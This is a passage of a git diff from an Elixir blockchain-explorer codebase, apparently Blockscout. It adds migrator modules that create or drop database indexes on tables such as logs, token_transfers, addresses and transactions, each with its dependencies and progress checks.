Explorer.Migrator.HeavyDbIndexOperation + + require Logger + + alias Explorer.Chain.Cache.BackgroundMigrations + alias Explorer.Migrator.{HeavyDbIndexOperation, MigrationStatus} + alias Explorer.Migrator.HeavyDbIndexOperation.Helper, as: HeavyDbIndexOperationHelper + + @table_name :smart_contracts + @index_name "smart_contracts_language_index" + @operation_type :create + @table_columns ["language"] + + @impl HeavyDbIndexOperation + def table_name, do: @table_name + + @impl HeavyDbIndexOperation + def operation_type, do: @operation_type + + @impl HeavyDbIndexOperation + def index_name, do: @index_name + + @impl HeavyDbIndexOperation + def dependent_from_migrations, do: [] + + @impl HeavyDbIndexOperation + def db_index_operation do + HeavyDbIndexOperationHelper.create_db_index(@index_name, @table_name, @table_columns) + end + + @impl HeavyDbIndexOperation + def check_db_index_operation_progress do + operation = HeavyDbIndexOperationHelper.create_index_query_string(@index_name, @table_name, @table_columns) + HeavyDbIndexOperationHelper.check_db_index_operation_progress(@index_name, operation) + end + + @impl HeavyDbIndexOperation + def db_index_operation_status do + HeavyDbIndexOperationHelper.db_index_creation_status(@index_name) + end + + @impl HeavyDbIndexOperation + def restart_db_index_operation do + HeavyDbIndexOperationHelper.safely_drop_db_index(@index_name) + end + + @impl HeavyDbIndexOperation + def running_other_heavy_migration_exists?(migration_name) do + MigrationStatus.running_other_heavy_migration_for_table_exists?(@table_name, migration_name) + end + + @impl HeavyDbIndexOperation + def update_cache do + BackgroundMigrations.set_heavy_indexes_create_smart_contracts_language_index_finished(true) + end +end diff --git a/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/drop_addresses_verified_index.ex b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/drop_addresses_verified_index.ex new file mode 100644 index 000000000000..867aa18700ba --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/drop_addresses_verified_index.ex @@ -0,0 +1,58 @@ +defmodule Explorer.Migrator.HeavyDbIndexOperation.DropAddressesVerifiedIndex do + @moduledoc """ + Drops index "addresses_verified_index" on the addresses table. + """ + + use Explorer.Migrator.HeavyDbIndexOperation + + alias Explorer.Migrator.{HeavyDbIndexOperation, MigrationStatus} + alias Explorer.Migrator.HeavyDbIndexOperation.CreateAddressesVerifiedIndex + alias Explorer.Migrator.HeavyDbIndexOperation.Helper, as: HeavyDbIndexOperationHelper + + @table_name :addresses + @index_name "addresses_verified_index" + @operation_type :drop + + @impl HeavyDbIndexOperation + def table_name, do: @table_name + + @impl HeavyDbIndexOperation + def operation_type, do: @operation_type + + @impl HeavyDbIndexOperation + def index_name, do: @index_name + + @impl HeavyDbIndexOperation + def dependent_from_migrations do + [CreateAddressesVerifiedIndex.migration_name()] + end + + @impl HeavyDbIndexOperation + def db_index_operation do + HeavyDbIndexOperationHelper.safely_drop_db_index(@index_name) + end + + @impl HeavyDbIndexOperation + def check_db_index_operation_progress do + operation = HeavyDbIndexOperationHelper.drop_index_query_string(@index_name) + HeavyDbIndexOperationHelper.check_db_index_operation_progress(@index_name, operation) + end + + @impl HeavyDbIndexOperation + def db_index_operation_status do + HeavyDbIndexOperationHelper.db_index_dropping_status(@index_name) + end + + @impl HeavyDbIndexOperation + def restart_db_index_operation do + HeavyDbIndexOperationHelper.safely_drop_db_index(@index_name) + end + + @impl HeavyDbIndexOperation + def running_other_heavy_migration_exists?(migration_name) do + MigrationStatus.running_other_heavy_migration_for_table_exists?(@table_name, migration_name) + end + + @impl HeavyDbIndexOperation + def update_cache, do: :ok +end diff --git a/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/drop_internal_transactions_from_address_hash_index.ex b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/drop_internal_transactions_from_address_hash_index.ex new file mode 100644 index 000000000000..8ac159cafb69 --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/drop_internal_transactions_from_address_hash_index.ex @@ -0,0 +1,60 @@ +defmodule Explorer.Migrator.HeavyDbIndexOperation.DropInternalTransactionsFromAddressHashIndex do + @moduledoc """ + Drops index "internal_transactions_from_address_hash_index" btree (from_address_hash). + """ + + use Explorer.Migrator.HeavyDbIndexOperation + + alias Explorer.Chain.Cache.BackgroundMigrations + alias Explorer.Migrator.{HeavyDbIndexOperation, MigrationStatus} + alias Explorer.Migrator.HeavyDbIndexOperation.Helper, as: HeavyDbIndexOperationHelper + + @table_name :internal_transactions + @index_name "internal_transactions_from_address_hash_index" + @operation_type :drop + + @impl HeavyDbIndexOperation + def table_name, do: @table_name + + @impl HeavyDbIndexOperation + def operation_type, do: @operation_type + + @impl HeavyDbIndexOperation + def index_name, do: @index_name + + @impl HeavyDbIndexOperation + def dependent_from_migrations do + [] + end + + @impl HeavyDbIndexOperation + def db_index_operation do + HeavyDbIndexOperationHelper.safely_drop_db_index(@index_name) + end + + @impl HeavyDbIndexOperation + def check_db_index_operation_progress do + operation = HeavyDbIndexOperationHelper.drop_index_query_string(@index_name) + HeavyDbIndexOperationHelper.check_db_index_operation_progress(@index_name, operation) + end + + @impl HeavyDbIndexOperation + def db_index_operation_status do + HeavyDbIndexOperationHelper.db_index_dropping_status(@index_name) + end + + @impl HeavyDbIndexOperation + def restart_db_index_operation do + HeavyDbIndexOperationHelper.safely_drop_db_index(@index_name) + end + + @impl HeavyDbIndexOperation + def running_other_heavy_migration_exists?(migration_name) do + MigrationStatus.running_other_heavy_migration_for_table_exists?(@table_name, migration_name) + end + + @impl HeavyDbIndexOperation + def update_cache do + BackgroundMigrations.set_heavy_indexes_drop_internal_transactions_from_address_hash_index_finished(true) + end +end diff --git a/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/drop_logs_address_hash_index.ex b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/drop_logs_address_hash_index.ex new file mode 100644 index 000000000000..3f7244a40bc7 --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/drop_logs_address_hash_index.ex @@ -0,0 +1,70 @@ +defmodule Explorer.Migrator.HeavyDbIndexOperation.DropLogsAddressHashIndex do + @moduledoc """ + Drops index "logs_address_hash_index" btree (address_hash). + """ + + use Explorer.Migrator.HeavyDbIndexOperation + + alias Explorer.Chain.Cache.BackgroundMigrations + alias Explorer.Migrator.{HeavyDbIndexOperation, MigrationStatus} + + alias Explorer.Migrator.HeavyDbIndexOperation.{ + CreateLogsAddressHashBlockNumberDescIndexDescIndex, + CreateLogsBlockHashIndex, + DropLogsBlockNumberAscIndexAscIndex + } + + alias Explorer.Migrator.HeavyDbIndexOperation.Helper, as: HeavyDbIndexOperationHelper + + @table_name :logs + @index_name "logs_address_hash_index" + @operation_type :drop + + @impl HeavyDbIndexOperation + def table_name, do: @table_name + + @impl HeavyDbIndexOperation + def operation_type, do: @operation_type + + @impl HeavyDbIndexOperation + def index_name, do: @index_name + + @impl HeavyDbIndexOperation + def dependent_from_migrations, + do: [ + DropLogsBlockNumberAscIndexAscIndex.migration_name(), + CreateLogsBlockHashIndex.migration_name(), + CreateLogsAddressHashBlockNumberDescIndexDescIndex.migration_name() + ] + + @impl HeavyDbIndexOperation + def db_index_operation do + HeavyDbIndexOperationHelper.safely_drop_db_index(@index_name) + end + + @impl HeavyDbIndexOperation + def check_db_index_operation_progress do + operation = HeavyDbIndexOperationHelper.drop_index_query_string(@index_name) + HeavyDbIndexOperationHelper.check_db_index_operation_progress(@index_name, operation) + end + + @impl HeavyDbIndexOperation + def db_index_operation_status do + HeavyDbIndexOperationHelper.db_index_dropping_status(@index_name) + end + + @impl HeavyDbIndexOperation + def restart_db_index_operation do + HeavyDbIndexOperationHelper.safely_drop_db_index(@index_name) + end + + @impl HeavyDbIndexOperation + def running_other_heavy_migration_exists?(migration_name) do + MigrationStatus.running_other_heavy_migration_for_table_exists?(@table_name, migration_name) + end + + @impl HeavyDbIndexOperation + def update_cache do + BackgroundMigrations.set_heavy_indexes_drop_logs_address_hash_index_finished(true) + end +end diff --git a/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/drop_logs_address_hash_transaction_hash_index.ex b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/drop_logs_address_hash_transaction_hash_index.ex new file mode 100644 index 000000000000..d463bdb6c5ef --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/drop_logs_address_hash_transaction_hash_index.ex @@ -0,0 +1,72 @@ +defmodule Explorer.Migrator.HeavyDbIndexOperation.DropLogsAddressHashTransactionHashIndex do + @moduledoc """ + Drops index "logs_address_hash_transaction_hash_index" btree (address_hash, transaction_hash). + """ + + use Explorer.Migrator.HeavyDbIndexOperation + + alias Explorer.Chain.Cache.BackgroundMigrations + alias Explorer.Migrator.{HeavyDbIndexOperation, MigrationStatus} + + alias Explorer.Migrator.HeavyDbIndexOperation.{ + CreateLogsAddressHashBlockNumberDescIndexDescIndex, + CreateLogsBlockHashIndex, + DropLogsAddressHashIndex, + DropLogsBlockNumberAscIndexAscIndex + } + + alias Explorer.Migrator.HeavyDbIndexOperation.Helper, as: HeavyDbIndexOperationHelper + + @table_name :logs + @index_name "logs_address_hash_transaction_hash_index" + @operation_type :drop + + @impl HeavyDbIndexOperation + def table_name, do: @table_name + + @impl HeavyDbIndexOperation + def operation_type, do: @operation_type + + @impl HeavyDbIndexOperation + def index_name, do: @index_name + + @impl HeavyDbIndexOperation + def dependent_from_migrations, + do: [ + DropLogsBlockNumberAscIndexAscIndex.migration_name(), + CreateLogsBlockHashIndex.migration_name(), + CreateLogsAddressHashBlockNumberDescIndexDescIndex.migration_name(), + DropLogsAddressHashIndex.migration_name() + ] + + @impl HeavyDbIndexOperation + def db_index_operation do + HeavyDbIndexOperationHelper.safely_drop_db_index(@index_name) + end + + @impl HeavyDbIndexOperation + def check_db_index_operation_progress do + operation = HeavyDbIndexOperationHelper.drop_index_query_string(@index_name) + HeavyDbIndexOperationHelper.check_db_index_operation_progress(@index_name, operation) + end + + @impl HeavyDbIndexOperation + def db_index_operation_status do + HeavyDbIndexOperationHelper.db_index_dropping_status(@index_name) + end + + @impl HeavyDbIndexOperation + def restart_db_index_operation do + HeavyDbIndexOperationHelper.safely_drop_db_index(@index_name) + end + + @impl HeavyDbIndexOperation + def running_other_heavy_migration_exists?(migration_name) do + MigrationStatus.running_other_heavy_migration_for_table_exists?(@table_name, migration_name) + end + + @impl HeavyDbIndexOperation + def update_cache do + BackgroundMigrations.set_heavy_indexes_drop_logs_address_hash_transaction_hash_index_finished(true) + end +end diff --git a/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/drop_logs_block_number_asc_index_asc_index.ex b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/drop_logs_block_number_asc_index_asc_index.ex new file mode 100644 index 000000000000..837aa2dd802a --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/drop_logs_block_number_asc_index_asc_index.ex @@ -0,0 +1,60 @@ +defmodule Explorer.Migrator.HeavyDbIndexOperation.DropLogsBlockNumberAscIndexAscIndex do + @moduledoc """ + Drops index "logs_block_number_ASC__index_ASC_index" btree (block_number, index). + """ + + use Explorer.Migrator.HeavyDbIndexOperation + + alias Explorer.Chain.Cache.BackgroundMigrations + alias Explorer.Migrator.{HeavyDbIndexOperation, MigrationStatus} + alias Explorer.Migrator.HeavyDbIndexOperation.Helper, as: HeavyDbIndexOperationHelper + + @table_name :logs + @index_name "logs_block_number_ASC__index_ASC_index" + @operation_type :drop + + @impl HeavyDbIndexOperation + def table_name, do: @table_name + + @impl HeavyDbIndexOperation + def operation_type, do: @operation_type + + @impl HeavyDbIndexOperation + def index_name, do: @index_name + + @impl HeavyDbIndexOperation + def dependent_from_migrations do + [] + end + + @impl HeavyDbIndexOperation + def db_index_operation do + HeavyDbIndexOperationHelper.safely_drop_db_index(@index_name) + end + + @impl HeavyDbIndexOperation + def check_db_index_operation_progress do + operation = HeavyDbIndexOperationHelper.drop_index_query_string(@index_name) + HeavyDbIndexOperationHelper.check_db_index_operation_progress(@index_name, operation) + end + + @impl HeavyDbIndexOperation + def db_index_operation_status do + HeavyDbIndexOperationHelper.db_index_dropping_status(@index_name) + end + + @impl HeavyDbIndexOperation + def restart_db_index_operation do + HeavyDbIndexOperationHelper.safely_drop_db_index(@index_name) + end + + @impl HeavyDbIndexOperation + def running_other_heavy_migration_exists?(migration_name) do + MigrationStatus.running_other_heavy_migration_for_table_exists?(@table_name, migration_name) + end + + @impl HeavyDbIndexOperation + def update_cache do + BackgroundMigrations.set_heavy_indexes_drop_logs_block_number_asc_index_asc_index_finished(true) + end +end diff --git a/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/drop_logs_index_index.ex b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/drop_logs_index_index.ex new file mode 100644 index 000000000000..6646c901c3a7 --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/drop_logs_index_index.ex @@ -0,0 +1,73 @@ +defmodule Explorer.Migrator.HeavyDbIndexOperation.DropLogsIndexIndex do + @moduledoc """ + Drops index "logs_index_index" btree (index). + """ + + use Explorer.Migrator.HeavyDbIndexOperation + + alias Explorer.Chain.Cache.BackgroundMigrations + alias Explorer.Migrator.{HeavyDbIndexOperation, MigrationStatus} + alias Explorer.Migrator.HeavyDbIndexOperation.Helper, as: HeavyDbIndexOperationHelper + + alias Explorer.Migrator.HeavyDbIndexOperation.{ + CreateLogsAddressHashBlockNumberDescIndexDescIndex, + CreateLogsBlockHashIndex, + DropLogsAddressHashIndex, + DropLogsAddressHashTransactionHashIndex, + DropLogsBlockNumberAscIndexAscIndex + } + + @table_name :logs + @index_name "logs_index_index" + @operation_type :drop + + @impl HeavyDbIndexOperation + def table_name, do: @table_name + + @impl HeavyDbIndexOperation + def operation_type, do: @operation_type + + @impl HeavyDbIndexOperation + def index_name, do: @index_name + + @impl HeavyDbIndexOperation + def dependent_from_migrations, + do: [ + DropLogsBlockNumberAscIndexAscIndex.migration_name(), + CreateLogsBlockHashIndex.migration_name(), + CreateLogsAddressHashBlockNumberDescIndexDescIndex.migration_name(), + DropLogsAddressHashIndex.migration_name(), + DropLogsAddressHashTransactionHashIndex.migration_name() + ] + + @impl HeavyDbIndexOperation + def db_index_operation do + HeavyDbIndexOperationHelper.safely_drop_db_index(@index_name) + end + + @impl HeavyDbIndexOperation + def check_db_index_operation_progress do + operation = HeavyDbIndexOperationHelper.drop_index_query_string(@index_name) + HeavyDbIndexOperationHelper.check_db_index_operation_progress(@index_name, operation) + end + + @impl HeavyDbIndexOperation + def db_index_operation_status do + HeavyDbIndexOperationHelper.db_index_dropping_status(@index_name) + end + + @impl HeavyDbIndexOperation + def restart_db_index_operation do + HeavyDbIndexOperationHelper.safely_drop_db_index(@index_name) + end + + @impl HeavyDbIndexOperation + def running_other_heavy_migration_exists?(migration_name) do + MigrationStatus.running_other_heavy_migration_for_table_exists?(@table_name, migration_name) + end + + @impl HeavyDbIndexOperation + def update_cache do + BackgroundMigrations.set_heavy_indexes_drop_logs_index_index_finished(true) + end +end diff --git a/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/drop_token_transfers_block_number_asc_log_index_asc_index.ex b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/drop_token_transfers_block_number_asc_log_index_asc_index.ex new file mode 100644 index 000000000000..b7b76039a066 --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/drop_token_transfers_block_number_asc_log_index_asc_index.ex @@ -0,0 +1,60 @@ +defmodule Explorer.Migrator.HeavyDbIndexOperation.DropTokenTransfersBlockNumberAscLogIndexAscIndex do + @moduledoc """ + Drops index "token_transfers_block_number_ASC_log_index_ASC_index" btree (block_number, log_index). + """ + + use Explorer.Migrator.HeavyDbIndexOperation + + alias Explorer.Chain.Cache.BackgroundMigrations + alias Explorer.Migrator.{HeavyDbIndexOperation, MigrationStatus} + alias Explorer.Migrator.HeavyDbIndexOperation.Helper, as: HeavyDbIndexOperationHelper + + @table_name :token_transfers + @index_name "token_transfers_block_number_ASC_log_index_ASC_index" + @operation_type :drop + + @impl HeavyDbIndexOperation + def table_name, do: @table_name + + @impl HeavyDbIndexOperation + def operation_type, do: @operation_type + + @impl HeavyDbIndexOperation + def index_name, do: @index_name + + @impl HeavyDbIndexOperation + def dependent_from_migrations do + [] + end + + @impl HeavyDbIndexOperation + def db_index_operation do + HeavyDbIndexOperationHelper.safely_drop_db_index(@index_name) + end + + @impl HeavyDbIndexOperation + def check_db_index_operation_progress do + operation = HeavyDbIndexOperationHelper.drop_index_query_string(@index_name) + HeavyDbIndexOperationHelper.check_db_index_operation_progress(@index_name, operation) + end + + @impl HeavyDbIndexOperation + def db_index_operation_status do + HeavyDbIndexOperationHelper.db_index_dropping_status(@index_name) + end + + @impl HeavyDbIndexOperation + def restart_db_index_operation do + HeavyDbIndexOperationHelper.safely_drop_db_index(@index_name) + end + + @impl HeavyDbIndexOperation + def running_other_heavy_migration_exists?(migration_name) do + MigrationStatus.running_other_heavy_migration_for_table_exists?(@table_name, migration_name) + end + + @impl HeavyDbIndexOperation + def update_cache do + BackgroundMigrations.set_heavy_indexes_drop_token_transfers_block_number_asc_log_index_asc_index_finished(true) + end +end diff --git a/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/drop_token_transfers_block_number_index.ex b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/drop_token_transfers_block_number_index.ex new file mode 100644 index 000000000000..68129241a6d3 --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/drop_token_transfers_block_number_index.ex @@ -0,0 +1,72 @@ +defmodule Explorer.Migrator.HeavyDbIndexOperation.DropTokenTransfersBlockNumberIndex do + @moduledoc """ + Drops index "token_transfers_block_number_index" btree (block_number). + """ + + use Explorer.Migrator.HeavyDbIndexOperation + + alias Explorer.Chain.Cache.BackgroundMigrations + alias Explorer.Migrator.{HeavyDbIndexOperation, MigrationStatus} + + alias Explorer.Migrator.HeavyDbIndexOperation.{ + DropTokenTransfersBlockNumberAscLogIndexAscIndex, + DropTokenTransfersFromAddressHashTransactionHashIndex, + DropTokenTransfersToAddressHashTransactionHashIndex, + DropTokenTransfersTokenContractAddressHashTransactionHashIndex + } + + alias Explorer.Migrator.HeavyDbIndexOperation.Helper, as: HeavyDbIndexOperationHelper + + @table_name :token_transfers + @index_name "token_transfers_block_number_index" + @operation_type :drop + + @impl HeavyDbIndexOperation + def table_name, do: @table_name + + @impl HeavyDbIndexOperation + def operation_type, do: @operation_type + + @impl HeavyDbIndexOperation + def index_name, do: @index_name + + @impl HeavyDbIndexOperation + def dependent_from_migrations, + do: [ + DropTokenTransfersBlockNumberAscLogIndexAscIndex.migration_name(), + DropTokenTransfersFromAddressHashTransactionHashIndex.migration_name(), + DropTokenTransfersToAddressHashTransactionHashIndex.migration_name(), + DropTokenTransfersTokenContractAddressHashTransactionHashIndex.migration_name() + ] + + @impl HeavyDbIndexOperation + def db_index_operation do + HeavyDbIndexOperationHelper.safely_drop_db_index(@index_name) + end + + @impl HeavyDbIndexOperation + def check_db_index_operation_progress do + operation = HeavyDbIndexOperationHelper.drop_index_query_string(@index_name) + HeavyDbIndexOperationHelper.check_db_index_operation_progress(@index_name, operation) + end + + @impl HeavyDbIndexOperation + def db_index_operation_status do + HeavyDbIndexOperationHelper.db_index_dropping_status(@index_name) + end + + @impl HeavyDbIndexOperation + def restart_db_index_operation do + HeavyDbIndexOperationHelper.safely_drop_db_index(@index_name) + end + + @impl HeavyDbIndexOperation + def running_other_heavy_migration_exists?(migration_name) do + MigrationStatus.running_other_heavy_migration_for_table_exists?(@table_name, migration_name) + end + + @impl HeavyDbIndexOperation + def update_cache do + BackgroundMigrations.set_heavy_indexes_drop_token_transfers_block_number_index_finished(true) + end +end diff --git a/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/drop_token_transfers_from_address_hash_transaction_hash_index.ex b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/drop_token_transfers_from_address_hash_transaction_hash_index.ex new file mode 100644 index 000000000000..1649096b6a58 --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/drop_token_transfers_from_address_hash_transaction_hash_index.ex @@ -0,0 +1,63 @@ +defmodule Explorer.Migrator.HeavyDbIndexOperation.DropTokenTransfersFromAddressHashTransactionHashIndex do + @moduledoc """ + Drops index "token_transfers_from_address_hash_transaction_hash_index" btree (from_address_hash, transaction_hash). + """ + + use Explorer.Migrator.HeavyDbIndexOperation + + alias Explorer.Chain.Cache.BackgroundMigrations + alias Explorer.Migrator.{HeavyDbIndexOperation, MigrationStatus} + alias Explorer.Migrator.HeavyDbIndexOperation.Helper, as: HeavyDbIndexOperationHelper + + alias Explorer.Migrator.HeavyDbIndexOperation.DropTokenTransfersBlockNumberAscLogIndexAscIndex + + @table_name :token_transfers + @index_name "token_transfers_from_address_hash_transaction_hash_index" + @operation_type :drop + + @impl HeavyDbIndexOperation + def table_name, do: @table_name + + @impl HeavyDbIndexOperation + def operation_type, do: @operation_type + + @impl HeavyDbIndexOperation + def index_name, do: @index_name + + @impl HeavyDbIndexOperation + def dependent_from_migrations, + do: [ + DropTokenTransfersBlockNumberAscLogIndexAscIndex.migration_name() + ] + + @impl HeavyDbIndexOperation + def db_index_operation do + HeavyDbIndexOperationHelper.safely_drop_db_index(@index_name) + end + + @impl HeavyDbIndexOperation + def check_db_index_operation_progress do + operation = HeavyDbIndexOperationHelper.drop_index_query_string(@index_name) + HeavyDbIndexOperationHelper.check_db_index_operation_progress(@index_name, operation) + end + + @impl HeavyDbIndexOperation + def db_index_operation_status do + HeavyDbIndexOperationHelper.db_index_dropping_status(@index_name) + end + + @impl HeavyDbIndexOperation + def restart_db_index_operation do + HeavyDbIndexOperationHelper.safely_drop_db_index(@index_name) + end + + @impl HeavyDbIndexOperation + def running_other_heavy_migration_exists?(migration_name) do + MigrationStatus.running_other_heavy_migration_for_table_exists?(@table_name, migration_name) + end + + @impl HeavyDbIndexOperation + def update_cache do + BackgroundMigrations.set_heavy_indexes_drop_token_transfers_from_address_hash_transaction_hash_index_finished(true) + end +end diff --git a/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/drop_token_transfers_to_address_hash_transaction_hash_index.ex b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/drop_token_transfers_to_address_hash_transaction_hash_index.ex new file mode 100644 index 000000000000..dd94d4d5e9a9 --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/drop_token_transfers_to_address_hash_transaction_hash_index.ex @@ -0,0 +1,68 @@ +defmodule Explorer.Migrator.HeavyDbIndexOperation.DropTokenTransfersToAddressHashTransactionHashIndex do + @moduledoc """ + Drops index "token_transfers_to_address_hash_transaction_hash_index" btree (to_address_hash, transaction_hash). + """ + + use Explorer.Migrator.HeavyDbIndexOperation + + alias Explorer.Chain.Cache.BackgroundMigrations + alias Explorer.Migrator.{HeavyDbIndexOperation, MigrationStatus} + + alias Explorer.Migrator.HeavyDbIndexOperation.{ + DropTokenTransfersBlockNumberAscLogIndexAscIndex, + DropTokenTransfersFromAddressHashTransactionHashIndex + } + + alias Explorer.Migrator.HeavyDbIndexOperation.Helper, as: HeavyDbIndexOperationHelper + + @table_name :token_transfers + @index_name "token_transfers_to_address_hash_transaction_hash_index" + @operation_type :drop + + @impl HeavyDbIndexOperation + def table_name, do: @table_name + + @impl HeavyDbIndexOperation + def operation_type, do: @operation_type + + @impl HeavyDbIndexOperation + def index_name, do: @index_name + + @impl HeavyDbIndexOperation + def dependent_from_migrations, + do: [ + DropTokenTransfersBlockNumberAscLogIndexAscIndex.migration_name(), + DropTokenTransfersFromAddressHashTransactionHashIndex.migration_name() + ] + + @impl HeavyDbIndexOperation + def db_index_operation do + HeavyDbIndexOperationHelper.safely_drop_db_index(@index_name) + end + + @impl HeavyDbIndexOperation + def check_db_index_operation_progress do + operation = HeavyDbIndexOperationHelper.drop_index_query_string(@index_name) + HeavyDbIndexOperationHelper.check_db_index_operation_progress(@index_name, operation) + end + + @impl HeavyDbIndexOperation + def db_index_operation_status do + HeavyDbIndexOperationHelper.db_index_dropping_status(@index_name) + end + + @impl HeavyDbIndexOperation + def restart_db_index_operation do + HeavyDbIndexOperationHelper.safely_drop_db_index(@index_name) + end + + @impl HeavyDbIndexOperation + def running_other_heavy_migration_exists?(migration_name) do + MigrationStatus.running_other_heavy_migration_for_table_exists?(@table_name, migration_name) + end + + @impl HeavyDbIndexOperation + def update_cache do + BackgroundMigrations.set_heavy_indexes_drop_token_transfers_to_address_hash_transaction_hash_index_finished(true) + end +end diff --git a/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/drop_token_transfers_token_contract_address_hash_transaction_hash_index.ex b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/drop_token_transfers_token_contract_address_hash_transaction_hash_index.ex new file mode 100644 index 000000000000..638cec9fa075 --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/drop_token_transfers_token_contract_address_hash_transaction_hash_index.ex @@ -0,0 +1,72 @@ +defmodule Explorer.Migrator.HeavyDbIndexOperation.DropTokenTransfersTokenContractAddressHashTransactionHashIndex do + @moduledoc """ + Drops index "token_transfers_token_contract_address_hash_transaction_hash_index" btree (token_contract_address_hash, transaction_hash). + """ + + use Explorer.Migrator.HeavyDbIndexOperation + + alias Explorer.Chain.Cache.BackgroundMigrations + alias Explorer.Migrator.{HeavyDbIndexOperation, MigrationStatus} + + alias Explorer.Migrator.HeavyDbIndexOperation.{ + DropTokenTransfersBlockNumberAscLogIndexAscIndex, + DropTokenTransfersFromAddressHashTransactionHashIndex, + DropTokenTransfersToAddressHashTransactionHashIndex + } + + alias Explorer.Migrator.HeavyDbIndexOperation.Helper, as: HeavyDbIndexOperationHelper + + @table_name :token_transfers + @index_name "token_transfers_token_contract_address_hash_transaction_hash_index" + @operation_type :drop + + @impl HeavyDbIndexOperation + def table_name, do: @table_name + + @impl HeavyDbIndexOperation + def operation_type, do: @operation_type + + @impl HeavyDbIndexOperation + def index_name, do: @index_name + + @impl HeavyDbIndexOperation + def dependent_from_migrations, + do: [ + DropTokenTransfersBlockNumberAscLogIndexAscIndex.migration_name(), + DropTokenTransfersFromAddressHashTransactionHashIndex.migration_name(), + DropTokenTransfersToAddressHashTransactionHashIndex.migration_name() + ] + + @impl HeavyDbIndexOperation + def db_index_operation do + HeavyDbIndexOperationHelper.safely_drop_db_index(@index_name) + end + + @impl HeavyDbIndexOperation + def check_db_index_operation_progress do + operation = HeavyDbIndexOperationHelper.drop_index_query_string(@index_name) + HeavyDbIndexOperationHelper.check_db_index_operation_progress(@index_name, operation) + end + + @impl HeavyDbIndexOperation + def db_index_operation_status do + HeavyDbIndexOperationHelper.db_index_dropping_status(@index_name) + end + + @impl HeavyDbIndexOperation + def restart_db_index_operation do + HeavyDbIndexOperationHelper.safely_drop_db_index(@index_name) + end + + @impl HeavyDbIndexOperation + def running_other_heavy_migration_exists?(migration_name) do + MigrationStatus.running_other_heavy_migration_for_table_exists?(@table_name, migration_name) + end + + @impl HeavyDbIndexOperation + def update_cache do + BackgroundMigrations.set_heavy_indexes_drop_token_transfers_token_contract_address_hash_transaction_hash_index_finished( + true + ) + end +end diff --git a/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/drop_transactions_created_contract_address_hash_with_pending_index.ex b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/drop_transactions_created_contract_address_hash_with_pending_index.ex new file mode 100644 index 000000000000..083d92118f4d --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/drop_transactions_created_contract_address_hash_with_pending_index.ex @@ -0,0 +1,60 @@ +defmodule Explorer.Migrator.HeavyDbIndexOperation.DropTransactionsCreatedContractAddressHashWithPendingIndex do + @moduledoc """ + Drops index "transactions_created_contract_address_hash_with_pending_index" btree (created_contract_address_hash, block_number DESC, index DESC, inserted_at DESC, hash). + """ + + use Explorer.Migrator.HeavyDbIndexOperation + + alias Explorer.Chain.Cache.BackgroundMigrations + alias Explorer.Migrator.{HeavyDbIndexOperation, MigrationStatus} + alias Explorer.Migrator.HeavyDbIndexOperation.Helper, as: HeavyDbIndexOperationHelper + + @table_name :transactions + @index_name "transactions_created_contract_address_hash_with_pending_index" + @operation_type :drop + + @impl HeavyDbIndexOperation + def table_name, do: @table_name + + @impl HeavyDbIndexOperation + def operation_type, do: @operation_type + + @impl HeavyDbIndexOperation + def index_name, do: @index_name + + @impl HeavyDbIndexOperation + def dependent_from_migrations, do: [] + + @impl HeavyDbIndexOperation + def db_index_operation do + HeavyDbIndexOperationHelper.safely_drop_db_index(@index_name) + end + + @impl HeavyDbIndexOperation + def check_db_index_operation_progress do + operation = HeavyDbIndexOperationHelper.drop_index_query_string(@index_name) + HeavyDbIndexOperationHelper.check_db_index_operation_progress(@index_name, operation) + end + + @impl HeavyDbIndexOperation + def db_index_operation_status do + HeavyDbIndexOperationHelper.db_index_dropping_status(@index_name) + end + + @impl HeavyDbIndexOperation + def restart_db_index_operation do + HeavyDbIndexOperationHelper.safely_drop_db_index(@index_name) + end + + @impl HeavyDbIndexOperation + def running_other_heavy_migration_exists?(migration_name) do + MigrationStatus.running_other_heavy_migration_for_table_exists?(@table_name, migration_name) + end + + @impl HeavyDbIndexOperation + def update_cache do + BackgroundMigrations.set_heavy_indexes_drop_transactions_created_contract_address_hash_with_pending_index_finished( + true + ) + end +end diff --git a/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/drop_transactions_from_address_hash_with_pending_index.ex b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/drop_transactions_from_address_hash_with_pending_index.ex new file mode 100644 index 000000000000..0a72cb56fed2 --- /dev/null +++ 